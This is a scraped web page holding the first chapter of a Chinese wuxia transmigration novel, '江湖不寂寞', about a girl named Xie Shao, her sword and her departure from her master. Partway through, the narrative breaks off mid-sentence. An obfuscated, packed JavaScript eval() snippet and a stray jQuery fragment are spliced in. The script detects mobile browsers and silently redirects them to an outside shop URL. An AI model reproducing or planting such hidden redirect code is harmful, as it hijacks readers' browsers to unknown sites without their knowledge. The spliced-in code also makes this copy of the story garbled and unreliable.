文趣网 > 都市小说 > 江湖不寂寞 > 1. 所谓远游
    明州新象城外,祥云镇。

    夜黑风高,正是鸡鸣狗盗之时。

    这是一处在五州地图上都找不到的偏远小镇,即使在《明州风物志》中,其不知名程度也大约可以被笼统概括为“新象城的下属村镇”云云。

    谢勺仰躺在屋檐上,头枕着玄黑长剑,一条腿驾着另一条腿,眼睛惬意地眯着,心安理得地当了回梁上君子。

    可能是嫌砖瓦太硬,可能是后知后觉这个姿势不太雅观,她翻了个身,手指精准捏住一只不知死活往人脸上落的蚊子。

    那双翅膀在她的挟持下,既不敢挣脱——害怕伤到薄嫩的纱翼,又不敢用尖尖的口器反抗——理由同上,便如同一位被砍了旌旗的将军,嗡嗡几声就不动了,只等着阵前受死。

    谢勺逗了它一会,见蚊子只知道装死,颇感无趣,大发慈悲放了手。

    蚊子如蒙大赦,扑腾着翅膀仓皇逃走。

    谢勺看着它的背影,脑子里倏忽闪过一个想法。

    这么通人性,不会真有蚊子成精吧?

    按照普世说法,那应该叫勤勤恳恳吸收日精月华,日日夜夜努力修炼,终于澄明本心,证道成妖,且妖化作人身之后通常都比人类貌美,就算是蚊子……妖,估计也眉清目秀,少说是个小美小帅。

    可作为来自唯物主义世界的大好青年,谢勺一想到这些小美女小帅哥本体可能是一只大蚊子,顿时尴尬地咧了咧嘴,默默搓去了胳膊上的一片鸡皮疙瘩。

    她随及忧郁地叹了口气,睫毛覆下,掩去了眸中神色。

    这是谢勺来到这个世界的第十年。

    没错,她是穿越的。

    不是之前那个世界流行的穿书,她的脑海里也没有多出一个发布攻略任务或拯救任务的系统——还好脑子里干干净净,毕竟她是真没兴趣用爱感化什么人。

    然而,没有金手指就算了,谢勺不在乎,甚至还挺庆幸不用受外物的辖制。

    以走在路上无风自燃的方式穿越,谢勺也可以忍,她亲缘淡薄,无父无母,依靠社会帮助和勤工俭学考上了大学,来时赤条条一个人,走了也没人挂念。

    但是魂穿落地……甚至落的不是地,而是一条在河上晃晃悠悠的危舟,且一降落异世界便重伤濒死,谢勺感受着身体因大量失血而逐渐变得冰凉,有点慌了。

    更别提,等她捱过一阵剧痛,睁开眼时,却正对上一张笑眯眯不怀好意的大叔脸。

    这疑似拐卖现场的天崩开局,谢勺一边吐血一边试图撑起七岁的弱小身体,在心中悲愤质问:

    老天,我惹你了没?!

    不知道老天能不能听到她的控诉,反正眼前的阳月道人肯定是听不到的。

    谢勺后来才知道,这条河名叫长恩河。

    长恩河从中州发迹,从明州海岸进入无尽海,支流遍布整个明州,它是养育富饶明州的母亲河,又因为自身的湍急充满危险。

    这一叶小舟,不知在河中漂了多久,更不知是如何让上面垂死的女孩存活了下来。

    阳月道人站在河岸,伸长胳膊揪住小谢勺的后领子,“唰”的就把人提了起来,似乎认为这样不足以表达真挚的关心,大手晃了晃,脸上竭力做出温柔的表情,实质效果和诱骗小女孩的人贩子差不多,和蔼道:“喂,你还好吧?”

    谢勺:“……”

    她感觉自己的内伤好像加重了。

    阳月道人不辞劳苦,又抓着一把看起来平平无奇的长剑,像用鱼叉勾破烂的拾荒老人似的,把承载谢勺一路漂流的小舟吭哧吭哧勾了过来。

    小舟里,一件拿来包小孩子的布衣凌乱堆叠着,溅满了血迹。

    阳月道人一手提溜着谢勺,一手拨开血衣,从里面翻出了一块满绿的玉佩和一本小小的典籍。

    谢勺勉强睁开眼睛,看了过去,那本长得很像武侠小说里传世武功的书被猥琐大叔很快收了起来,倒是那块玉佩,阳月道人拿在手里把玩了很久。

    谢勺也得以看清玉佩的全貌。

    玉佩外围镂刻着古怪神秘的花纹,像某种神异的动物图腾,不知道是虎还是龙的纹路紧紧环绕着玉佩中间的字。

    那是一个笔锋古朴的小篆体“谢”字。

    伤重不支,谢勺晕过去的前一秒,听见阳月道人含笑的声音。

    “你我有缘,至于什么缘还没编好,只能先欺你年纪小、不记事,反正呢,以后我就是你师父了。”

    “姓谢吗,那便叫你谢勺吧。”

    被一口灵力柔柔护住心脉的谢勺迷迷糊糊想道,这倒是和她前世的名字一样。

    一阵细微的嗡鸣打断了她的回忆。

    谢勺回过神,赶紧坐直了,把任劳任怨给她当了半夜枕头的玄黑长剑恭恭敬敬地请出来。

    截云剑剑锋黯淡,俨然一副受了冷落的委屈样子。

    不得已,谢勺只好轻抚剑鞘,指尖凝聚起一道天地灵气打入剑身,直到灰扑扑的剑锋重新变成冰蓝色,整把剑又变得如同一朵受到雨露滋养的娇花,光彩照人。

    截云剑不闹了,剑身发出几不可闻的清鸣,有点羞涩的样子。

    谢勺讪笑一声,摸了摸鼻子,手指的经脉因为沟通灵气而微微发涨。

    这又是这个世界的玄幻之处了。

    此世之中虽然有灵气,却不能在人体内留存,更不存在什么筑基金丹、飞升成仙的说法。

    人族还是只能依靠练武锻体,只有部分有些天资颖悟的人类能够感受到空气中的灵气,将它们暂凝于经脉之中,或用符篆、或用阵盘、或用术法、或用武器,能够使出比普通人更为强大的力量,因而为人所供奉,被尊称一句“方士”。

    截云是她的开蒙剑。

    那时候它不叫截云,只是一把灰扑扑的、没有开锋的钝剑,因为剑身细窄,上手轻盈,适合年幼的初学者,才被阳月道人从库房里扒拉出来,给谢勺做启蒙佩剑。

    谢勺一拿到它,便觉得喜爱非常。

    每日练功之前,她要先把剑细细擦过一遍。

    新剑不称手,阳月道人布置的课业几乎都是压着她的极限来,谢勺咬牙日日挥剑三千次,掌心的汗水和灰尘把剑柄磨成日渐光滑,原本粗糙的剑柄也在她掌心留下一层厚茧。

    入睡之前,拖着两条沉得像灌了铅似的胳膊,谢勺要把剑再擦一遍,不嫌铁质冰冷地抱在怀里睡觉。

    就连她初次尝试引灵气入体的时候,这把剑也横在膝上,不得片刻离分。

    等她年龄长大,骨骼也变得坚硬,阳月道人要给她换更好的剑了,谢勺却说什么都不同意。

    无奈之下,他只好拜托旧时老友,寻到各种奇材异铁,将这把剑铸了又铸,才有今天这般玄锋内敛、精光暗藏。

    剑客爱剑,剑随之有灵,有的剑性格随剑主,有的却另辟蹊径。

    就说师父那把三不为剑,剑身厚重、性格冷肃,和不修边幅的阳月道人本人大不相同,被她抚摸剑柄时会微微颤动剑穗,好像一位正在安慰小辈的沉稳长者,甚至会在师父偷懒犯蠢的时候替勺行道,恨铁不成钢地用剑背追着他抽。

    即使知道她穿的是个非科学世界,也亲身感受过灵气的存在,这种剑打人的奇葩场面也是让谢勺叹为观止。

    毕竟,在海珠城幽闭修行的日子里,除了邻里,她基本很少见到外人,更别说外妖了。

    某天阳月道人出门会友,谢勺闲不出好屁,从房梁摸到地窖,在他老人家床底下翻出一箱子游记杂学。

    黄金屋没找到,里面却有一本《寰宇纵观》写得很有意思。

    书是残书,作者名模糊不清,里页也是缺斤少两。前半本不知道被谁撕去了,只余下新历的记载。

    此世界与前世的语言相差不大,谢勺磕磕绊绊读完,顿觉醍醐灌顶,如同被导入了前置剧情,终于知道自己来到了什么鬼地方。

    当今天下分为五州,东西南北四州特征鲜明,将中州拱卫在中间。

    中州素

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795210|210500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以法度威严著称,是五州之首,也是整片大陆的核心。

    除此之外的四州,东边的明州气候宜人,北边的苍州有终年不化的积雪和雪山传说,西边的灵州诡异难言,南边的云州花开满城……

    她目前所处的海珠城,只是明州一个临海的小城,百姓依靠打渔为生,勉力过活,堪称犄角旮旯中的新手村!

    哇!

    真人开放大世界游戏!

    古风地图!低魔奇幻!身世成谜!

    登录就送便宜师父!

    谢勺苦中作乐地想着。

    说不好奇外面的世界是假的,但阳月道人似乎没有“世界这么大放徒儿出去溜溜”的想法。

    谢勺也耐得住性子,小命要紧,知道外面并不安全之后,练武反倒更努力了。

    十年转瞬而过,待到学自师父的三不为剑法小成,已经是新历一零一零年的春三月。

    阳月道人开了尊口,像丢走一件压在肩上多年的包袱一样迅速把她扔出了门,隔着墙道:“你的武功依然算不上好,勉强也够在此世行走,毕竟还有很多手无缚妖之力的百姓,都在那啥努力活着是吧!”

    “还有你的剑,快点儿拿走,天天在老子面前装小媳妇,活像谁委屈它了一样。”

    “我不许你给它取名,是因为你的功夫不到家,不值得用一个名字压一把好剑,它记恨我干什么!”

    谢勺背着简单的行囊,握着长剑,挑了挑眉朗声道:“那现在呢,我的剑配有一个名字了吗?”

    阳月道人沉默片刻:“便叫它’截云‘吧。”

    谢勺难得有了几分离别的伤感,这些年读了不少书,立刻卖弄起来,声音低沉:“……‘我有辞乡剑,玉锋堪截云’,师父,保重。”

    下一秒,一个东西从墙头飞过来,谢勺眼疾手快接住——一封随意写着一个“钱”字的信,封口敷衍,上面还有他老人家吃完烧鸡不洗手留下的油渍!

    “这是前年你王师叔帮忙炼剑的辛苦费,等你到日月城的时候顺手给他送去,”阳月道人的声音远远传来:“我在那边给你留了点东西,你直接问他要就行。”

    不是吧,前年欠的钱你能拖到现在?!

    谢勺眼角抽了抽,忽然想起什么:“师父,那我的盘缠呢?”

    墙对面安静了一会,又飞过几两碎银子。

    谢勺如获至宝地接住。

    “好嘞,”她欢乐地应一声,高高扎起的马尾如同出笼跃上春枝的小鸟,随着身体的摆动而摇晃:“那我走了啊。”

    阳月道人没再说话,假装自己已经回屋睡觉了。

    墙外少女的脚步声远去,渐渐听不清。

    “……‘辞乡剑’,这里哪是你的乡呢。”他嘟囔了一句,长出风霜皱纹的脸上再不复年轻时的意气风发,他从乾坤袋里掏出那块已经蒙尘十年的玉佩随意擦了擦,上面的“谢”字经由时间冲洗,依旧温润。

    阳月道人径自出门远去了。

    明洲海珠城,临海一处破破烂烂的木房子,暂时失去了它的两位主人。

    谢勺突然冷笑一声。

    差点忘了。

    她虽然没有随身系统、没有神秘老爷爷、没有大开金手指,可却有罪魁祸首同吃同睡甚至同住啊!

    如果没出意外,她现在应该在日月城里看花船秀舫,痛饮传闻中的特产美酒“韶光酿”,歌舞齐天,通宵达旦。

    至于出了什么意外,导致她不仅没过上一天好日子,还要顶着六月夜霜躺房顶……

    谢勺合掌扣在小腹上,温声道:“出来。”

    丹田里似乎有什么东西动了下,然后便是一片沉寂。

    谢勺声音开始变得冷沉:“你出不出来?”

    那东西又动了下,在她脑海中传递出一丝怯怯的情绪。

    “学会卖茶了?”谢勺眉毛一横:“你把我引到这个……这个叫什么祥云镇的鬼地方,总得给我个理由吧。”

    它彻底装死。